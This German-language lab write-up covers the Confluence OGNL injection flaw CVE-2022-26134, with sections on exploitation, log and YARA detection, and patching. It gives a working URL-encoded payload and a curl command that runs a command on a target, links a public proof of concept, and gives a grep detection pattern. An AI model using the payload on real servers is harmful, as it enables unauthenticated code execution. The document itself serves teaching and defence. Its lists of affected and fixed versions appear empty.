
Confluence Pre-Authentifizierung Remote-Code-Ausführung durch OGNL-Injection (CVE-2022-26134)
Confluence Pre-Auth Remote Code Execution via OGNL Injection (CVE-2022-26134)
Am 30. Mai 2022 identifizierte eine Organisation namens Volexity eine nicht authentifizierte RCE-Schwachstelle (Bewertung 9.8 bei NIST) in Atlassians Confluence Server und Data Center Editionen (https://www.atlassian.com/software/confluence).
Confluence ist ein kollaboratives Dokumentations- und Projektmanagement-Framework für Teams. Confluence hilft, den Projektstatus zu verfolgen, indem es einen zentralen Arbeitsbereich für Mitglieder bietet.
Die folgenden Versionen von Confluence sind von dieser CVE betroffen:
Sie können den NIST-Eintrag für CVE-2022-26134 hier einsehen (https://nvd.nist.gov/vuln/detail/CVE-2022-26134).
Diese CVE nutzt eine Schwachstelle in der OGNL (Object-Graph Navigation Language) Ausdruckssprache für Java. OGNL wird unter anderem zum Abrufen und Setzen von Eigenschaften von Java-Objekten verwendet.
Beispielsweise wird OGNL verwendet, um Frontend-Elemente wie Textfelder an Backend-Objekte zu binden, und kann in Java-basierten Webanwendungen wie Confluence eingesetzt werden. Wir können sehen, wie OGNL im folgenden Screenshot verwendet wird. Werte werden in ein Webformular eingegeben, wo diese Werte in Objekten innerhalb der Anwendung gespeichert werden.
Ausnutzung
Wir können die Tatsache ausnutzen, dass OGNL modifiziert werden kann; wir können ein Payload erstellen, um auf Exploits zu testen und zu prüfen.
Um diese Schwachstelle in OGNL auszunutzen, müssen wir eine HTTP-GET-Anfrage stellen und unser Payload in die URI einfügen. Zum Beispiel können wir die Java-Laufzeitumgebung anweisen, einen Befehl auszuführen, wie das Erstellen einer Datei auf dem Server: "${@java.lang.Runtime@getRuntime().exec("touch /tmp/thm/")}/".
Dies muss URL-kodiert werden. Sie können diese Website verwenden, um Ihre Payloads URL-kodieren zu lassen (beachten Sie, dass Ihr curl-Payload mit einem abschließenden / und nicht $2F enden muss). Befehl: user@host~ curl -v http://<target_ip>:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/thm%22%29%7D/ Überprüfen Sie nun, ob der obige Befehl erfolgreich ausgeführt wurde, indem Sie den Befehl "ls /tmp" im obigen Befehl ausführen.
Es gibt einige funktionierende PoC-Exploits da draußen. Ich werde Samy Younsi (Mwqda)'s PoC demonstrieren, der in Python geschrieben und auf GitHub gehostet ist (https://github.com/h3v0x/CVE-2022-26134).
Erkennung
Protokolldateien Confluence ist ein Apache Tomcat-Server, dessen Protokollierung sich in /opt/atlassian/confluence/logs befindet. Sie können Befehle wie grep verwenden, um nach HTTP-GET-Anfragen von Payloads zu suchen, die die Java-Laufzeitumgebung zur Befehlsausführung verwenden. Zum Beispiel:
grep -R "/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22" in catalina.out
YARA Wenn Sie Yara auf dem Confluence-Server installiert haben, hat Volexity (die Entdecker der Schwachstelle) eine Yara-Regel für Sie erstellt, die in diesem Repository sowie unter folgendem Link bereitgestellt wird (https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar).
Patchen
Atlassian hat eine Sicherheitswarnung für ihre von dieser CVE betroffenen Produkte veröffentlicht, die Sie hier lesen können (https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html). Um das Problem zu beheben, müssen Sie Ihre Confluence-Version aktualisieren. Die zum Zeitpunkt der Veröffentlichung vorgeschlagene Liste ist:
Denken Sie daran, OGNL ist eine Ausdruckssprache für Java-basierte Webanwendungen, daher gilt diese Schwachstelle auch für andere Web-Apps, die dieselben Klassen wie Confluence verwenden!
Zusätzliches Lesematerial: